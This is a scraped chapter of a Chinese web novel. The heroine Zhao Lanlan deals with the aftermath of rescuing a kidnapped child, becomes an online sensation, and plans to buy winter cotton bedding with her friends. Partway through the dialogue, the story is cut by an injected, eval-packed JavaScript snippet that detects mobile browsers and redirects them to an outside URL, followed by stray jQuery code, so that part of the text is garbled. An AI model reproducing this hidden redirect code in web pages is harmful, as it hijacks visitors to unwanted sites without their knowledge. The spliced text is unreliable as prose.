48.第 48 章
作品:《种田:大力女现代搬砖,古代当地主》 无奈。
赵兰兰只能抱着小挂件,连同丁春花和邓澈洁一起,坐上小挂件妈妈的车。
去了派出所。
在那里,她又一次见到了小挂件的爸爸。
从派出所做完详细的笔录出来,又坐上了小挂件爸爸的车,回到了熟悉的巷子口。
一路上,小挂件爸爸的手机几乎没停过。
他接了好多电话,找了一个又一个听起来很有能耐的人。
可惜,人贩子太狡猾。
跟小挂件一起被拐走的小男孩,就像一滴水融入了大海,仍然杳无音信。
被抓住的两个人贩子,一个在医院治病。
一个在派出所接受盘问。
可他死活不肯供出同伙和孩子的下落。
“小赵,西西是我们唯一的孩子,感激的话太轻了。”
路径元看了看车里睡得香甜的女儿,恢复了冠以示人的文质彬彬。
他声音有些沙哑,郑重地递过一张纸条:
“这是我的联系方式,在星城,我还算说得上几句话。
今后无论遇到什么难处,只要我们能帮上忙,一定尽力。”
“路叔,不用谢的,西西没事就好。”
赵兰兰连忙摆手,向后退了小半步。
她不敢要。
要是被她阿爷知道了,肯定得骂她不懂事,不知轻重,趁人之危。
在大福村,孩子丢了是天大的事。
那时候,全村人,哪怕是平时有龃龉的,也会放下嫌隙,自发地帮忙去找。
搭把手救人,是本分,哪能图回报?
“拿着吧,别推辞,这是我们全家的心意。”
路径元又把纸条往前递了递,带着上位者不容拒绝的姿态。
赵兰兰听不懂电话里那些人的头衔,但是丁春花是能听明白的。
这个局,那个主任的,一听就不是普通老百姓。
这世道,多个朋友多条路,尤其是这样有分量的人情。
赵兰兰一个人在这边,人生地不熟的。
万一将来真遇到什么过不去的坎儿,或是被人欺负了,能有这样的人物念着这份情,关键时刻愿意伸手拉一把,那真是多少人都求不来的运气。
趁着路径元不注意,丁春花在赵兰兰背后暗暗推了她一下,低声劝道:
“兰兰,收下吧,这样人家心里也好过些。”
赵兰兰皱着眉犹豫了,该听谁的?
回头看了看丁春花,又看了看路径元诚恳的眼神。
终究还是伸出双手,将那张饱含心意的纸条接了过来:
“谢谢路叔。”
小心地折好,放进了腰包的口袋里。
路径元这才微微松了口气,仿佛了却一桩心事,点了点头:
“该说谢谢的是我们。等这件事事情忙完,我们再登门道谢。”
赵兰兰不会说那些客套话。
憋了半天,轻声补充道:
“那个小弟弟会找到的。”
在山里,跑散的羊崽子、走丢的小牛,只要不放弃找,总有机会的。
路径元闻言,扯动嘴角,露出一个真心的笑:
“借你吉言。”
话音刚落,车内的电话又开始叮铃铃地响,西西被扰得发出不乐意的嘤嘤声。
路径元歉意地朝她们点点头,连忙接起电话。
车子开走了,巷口恢复了往日的安静。
邓澈洁满心欢喜地骑着电动车,后座载着她心目中“帅呆了”的兰兰姐,叮叮当当地驶向菜市场。
去拿早上存在那里的肉包子!
与此同时,某社交平台却是炸开了锅。
“女子商场踹碎玻璃救人”;
“踹门追凶的女子是谁”;
“人贩子克星”;
一连三个词条以惊人的速度攀升至高位,后面跟着深红色的“爆”字标识。
把赵兰兰送上了舆论顶峰。
点开话题,是清晰度极高的商场监控视频。
一个穿着老土,身影单薄的小姑娘,拨开人群,毫不犹豫地飞起一脚,踹向硕大的玻璃门。
紧接着是模糊又刺激的追击画面。
随后,更多不同路人视角的视频被拼接上来,从商场侧门到通往大路的岔口,竟将商场外的画面补得一刻不差。
视频被反复播放、慢放、截图。
无数点赞、转发和评论。
“我的天!那一脚太帅了!”
“人贩子去死!姐姐好勇!”
“这是谁啊?有没有人认识?”
“三分钟我要她的全部信息!”
“看穿着好像不是本地人?但是干的事太牛了!”
“人贩子克星本星!希望所有走失的孩子都能遇到这样的英雄!”
“话说回来,商场的玻璃是不是太垃圾了点?”
……
巨大的流量裹挟着各种情绪,将这个尚且连名字都无人知晓的赵兰兰,推向了舆论风暴的顶峰。
一直被节目审批卡得死死的肖然,趁机将一连串爆红的热搜截图,甩在了领导微信上。
硬生生地让自己的节目空降在今晚六点半准时播出!
当然,这些在网络上掀起的滔天巨浪,对于连一部智能手机都凑不出来的三人来说,是不可能知道的。
赵兰兰此刻正坐在出租屋里,皱着眉头,一脸认真又苦恼地检查着自己身上那件粗布短衫。
又破了!
她最心爱的小兰花衣裳!
背上裂了一个大口子!
赵兰兰觉得冤死了!简直比窦娥还冤!
她今天多老实啊!
既没去爬老榕树掏鸟窝,也没钻进灌木丛里追野兔,甚至连弯腰搬重物都不曾有。
她穿得可仔细、可爱惜了!
也不知道是什么时候划破的!
她使劲回想,脑海里闪过破门时的玻璃碎片,追击时的拥挤人潮。
还有踹那两个坏蛋时好像用了很大力气?
难道是力气太大,把衣服给绷裂了?
这个猜测让她更加挫败。
赵兰兰小心翼翼地把那件受伤的兰花衫叠好,放在床头。
磨磨蹭蹭地换回放在出租屋的旧衣服。
随后,她提上从程诚家得来的那大包零食。
像只斗败了却还不得不去串门的小公鸡,垂着脑袋,蔫蔫地跟着丁春花母女,去老王家吃饭。
三个人紧紧贴在一起,挤在小小的电动车上。
电动车发出难堪重负的吱吱声。
坐在中间的邓澈洁,时不时地听到耳边传来一声沮丧的叹息。
“兰兰姐,”
邓澈洁侧过头,提高声音安慰道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145208|190097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“别叹气啦!明天我妈带我去市场买换季的衣服,我们一起去!”
赵兰兰还是提不起精神,她就惦记着那件有白色兰花的衣服。
“南方的冬天来的可快了,说冷就冷。”
邓澈洁继续说着,努力调动气氛。
仙宫也有冬天吗?
赵兰兰迷迷糊糊地想。
在她有限的经历里,仙宫似乎是一个地方热、另一个地方就凉快的神奇所在。
比如说工地热得人出汗,医院里却凉飕飕的。
菜市场闷热,商场里又很凉爽。
路上太阳晒得发烫,坐进车里很快就舒坦了。
赵兰兰不自觉地把心里的疑惑嘀咕出了声。
“当然有啦!一年四季温差可大了。”
邓澈洁学着大人的口吻,老气横秋地解释,
“别看现在热的很,过了十月,气温说降就降。得买点棉被,厚棉衣,不然冬天可难捱了。”
“棉被?厚棉衣?”
赵兰兰原本原本无精打采的神情,听到这几个字,彻底振作了起来。
在大福村,他们村里有水田,有河流,是个比较富裕的村子。
可老天爷偏偏没让那片土地长出棉花。
到了冬天,床上铺的是是厚厚一层压了又压的干稻草。
身上穿的粗布衣、夜里盖的被褥,里面都是不顶寒的芦花,或是轻飘飘的柳絮。
寒风一吹,好不容易聚起的暖意,便漏得干干净净。
冬天的冷气贴着骨头缝往里钻,冻得人整夜蜷缩,手脚冰凉麻木,天亮时关节都是僵的。
村长家那个从镇上娶回来的儿媳妇。
当年的陪嫁里,就有一床厚实的簇新大棉被。
村长媳妇捧着那床被子,在村里整整炫耀了小半年。
见人就要说棉被又轻又暖,晚上睡觉跟揣着个日头似的。
同样是镇上的姑娘,老武家那个儿媳妇就差了些。
只陪嫁了几尺花布料,和一床用旧衣服和旧棉絮打碎了重新弹缝的被子。
虽然比不上村长家那床簇新的,可到底也比芦花被暖和多了。
赵兰兰长这么大,没穿过一件真正絮了棉花的衣裳,也没盖过一床真正的棉被。
她只听阿爷念叨过,城里的富人家都是盖棉被的,穿得鼓鼓囊囊也不显笨重。
那是什么滋味?
她想象不出来。
就算有果腹的粮食,冬天依旧是人们最难熬的关口。
村里那些身子骨弱的老人,常常就在某个霜冻特别重的清晨,再也起不来了。
被家人发现时,身体早已僵硬冰冷。
“现在去买便宜!不然等气温降下来,老板就要涨价了。”
邓澈洁一本正经,说得头头是道,颇有几分她妈妈持家过日子的精明样子。
她们母女俩似乎天生就懂得如何在有限的条件下,把日子捯饬得舒服妥帖。
赵兰兰最怕冷了!
“对!就得现在买!”
两个少女坐在电动车后座,叽叽喳喳地商量着明天要买的过冬家当。
厚棉被要什么花色的。
棉衣棉裤是不是要买大一号,好往里面加衣服。
聊得赵兰兰心里火热,把之前那点小小的沮丧彻底抛到了脑后。
三人一路兴致昂扬地到了老王家。

